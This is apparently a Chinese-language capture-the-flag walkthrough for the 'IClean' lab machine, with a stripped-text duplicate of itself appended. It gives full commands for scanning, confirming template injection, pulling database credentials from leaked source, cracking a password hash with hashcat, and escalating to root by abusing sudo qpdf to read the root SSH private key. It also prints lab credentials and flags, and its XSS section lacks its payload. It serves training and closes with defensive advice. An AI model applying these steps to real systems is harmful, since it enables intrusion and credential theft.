[Meachines][Medium]IClean
字数 1279 2025-08-19 12:42:07

IClean靶机渗透测试教学文档

1. 初始信息收集

1.1 主机发现与端口扫描

nmap -p- -sC -sV 10.10.11.12 -Pn --min-rate 1000
  • -p-:扫描所有端口(1-65535)
  • -sC:使用默认脚本扫描
  • -sV:探测服务版本
  • -Pn:跳过主机发现,直接扫描
  • --min-rate 1000:设置最小发包速率为1000包/秒

1.2 添加主机名到hosts文件

echo "10.10.11.12 capiclean.htb" >> /etc/hosts

2. Web应用枚举

2.1 目录爆破

gobuster dir --url "http://capiclean.htb" --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

发现重要目录:

  • /quote:服务订购提交页面

2.2 初步分析

  • 服务订购页面不是查询服务,SQL注入可能性较低
  • 可能存在Python SSTI(服务器端模板注入)漏洞

3. XSS测试


  • 如果没有cookie则新建一个
  • 将path改为/
  • 访问dashboard页面

4. 漏洞利用

4.1 订单生成流程

  1. 使用InvoiceGenerator生成订单
  2. 将生成的订单ID提交到QRGenerator生成二维码
  3. 扫描二维码获取账单

4.2 SSTI漏洞确认

qr_link参数中测试:

{{4*4}}

响应包中返回16,确认存在SSTI漏洞

4.3 源代码泄露

发现app.py文件泄露,包含数据库配置:

db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

5. 数据库访问

5.1 连接数据库

mysql -u iclean -p

使用密码pxCsmnGLckUb

5.2 查询用户数据

use capiclean;
select * from users;

获取到用户consuela的密码哈希:
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

5.3 破解哈希

echo "0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa" > hash
hashcat -m 1400 -a 0 hash /usr/share/wordlists/rockyou.txt

破解结果为:simple and clean

6. 用户权限提升

6.1 切换用户

su consuela

使用密码simple and clean

6.2 获取用户flag

cat /home/consuela/user.txt

用户flag:e4fb54144493b2df71de87281902e002

7. 提权至root

7.1 检查sudo权限

sudo -l

发现可以以root身份执行/usr/bin/qpdf

7.2 QPDF工具介绍

QPDF是一个用于处理PDF文件的命令行工具,功能包括:

  • 合并、拆分PDF
  • 解密、加密PDF
  • 旋转页面
  • 添加附件等

7.3 利用QPDF提取root私钥

sudo /usr/bin/qpdf --empty /tmp/key.pdf --qdf --add-attachment /root/.ssh/id_rsa --
  • --empty:创建空PDF
  • --qdf:启用QDF模式(便于修改)
  • --add-attachment:添加附件

7.4 查看提取的私钥

cat /tmp/key.pdf

7.5 使用私钥登录root

chmod 400 id_rsa
ssh -i id_rsa root@10.10.11.12

7.6 获取root flag

cat /root/root.txt

root flag:e9f42fab26856026679cbcd1bb76b7ed

8. 关键点总结

  1. SSTI漏洞:通过二维码生成功能发现并验证了Python SSTI漏洞
  2. 源代码泄露:获取到数据库配置信息
  3. 数据库凭证:从源代码中提取数据库凭据并访问数据库
  4. 密码破解:使用hashcat破解SHA256哈希
  5. 特权提升:利用QPDF的附件功能提取root私钥实现提权

9. 防御建议

  1. 修复SSTI漏洞,对用户输入进行严格过滤
  2. 避免在源代码中硬编码敏感信息
  3. 使用强密码策略,避免使用弱密码
  4. 限制sudo权限,避免过度授权
  5. 对敏感文件(如SSH私钥)设置严格的权限控制
IClean靶机渗透测试教学文档 1. 初始信息收集 1.1 主机发现与端口扫描 -p- :扫描所有端口(1-65535) -sC :使用默认脚本扫描 -sV :探测服务版本 -Pn :跳过主机发现,直接扫描 --min-rate 1000 :设置最小发包速率为1000包/秒 1.2 添加主机名到hosts文件 2. Web应用枚举 2.1 目录爆破 发现重要目录: /quote :服务订购提交页面 2.2 初步分析 服务订购页面不是查询服务,SQL注入可能性较低 可能存在Python SSTI(服务器端模板注入)漏洞 3. XSS测试 如果没有cookie则新建一个 将path改为 / 访问dashboard页面 4. 漏洞利用 4.1 订单生成流程 使用 InvoiceGenerator 生成订单 将生成的订单ID提交到 QRGenerator 生成二维码 扫描二维码获取账单 4.2 SSTI漏洞确认 在 qr_link 参数中测试: 响应包中返回 16 ,确认存在SSTI漏洞 4.3 源代码泄露 发现 app.py 文件泄露,包含数据库配置: 5. 数据库访问 5.1 连接数据库 使用密码 pxCsmnGLckUb 5.2 查询用户数据 获取到用户 consuela 的密码哈希: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa 5.3 破解哈希 破解结果为: simple and clean 6. 用户权限提升 6.1 切换用户 使用密码 simple and clean 6.2 获取用户flag 用户flag: e4fb54144493b2df71de87281902e002 7. 提权至root 7.1 检查sudo权限 发现可以以root身份执行 /usr/bin/qpdf 7.2 QPDF工具介绍 QPDF是一个用于处理PDF文件的命令行工具,功能包括: 合并、拆分PDF 解密、加密PDF 旋转页面 添加附件等 7.3 利用QPDF提取root私钥 --empty :创建空PDF --qdf :启用QDF模式(便于修改) --add-attachment :添加附件 7.4 查看提取的私钥 7.5 使用私钥登录root 7.6 获取root flag root flag: e9f42fab26856026679cbcd1bb76b7ed 8. 关键点总结 SSTI漏洞 :通过二维码生成功能发现并验证了Python SSTI漏洞 源代码泄露 :获取到数据库配置信息 数据库凭证 :从源代码中提取数据库凭据并访问数据库 密码破解 :使用hashcat破解SHA256哈希 特权提升 :利用QPDF的附件功能提取root私钥实现提权 9. 防御建议 修复SSTI漏洞,对用户输入进行严格过滤 避免在源代码中硬编码敏感信息 使用强密码策略,避免使用弱密码 限制sudo权限,避免过度授权 对敏感文件(如SSH私钥)设置严格的权限控制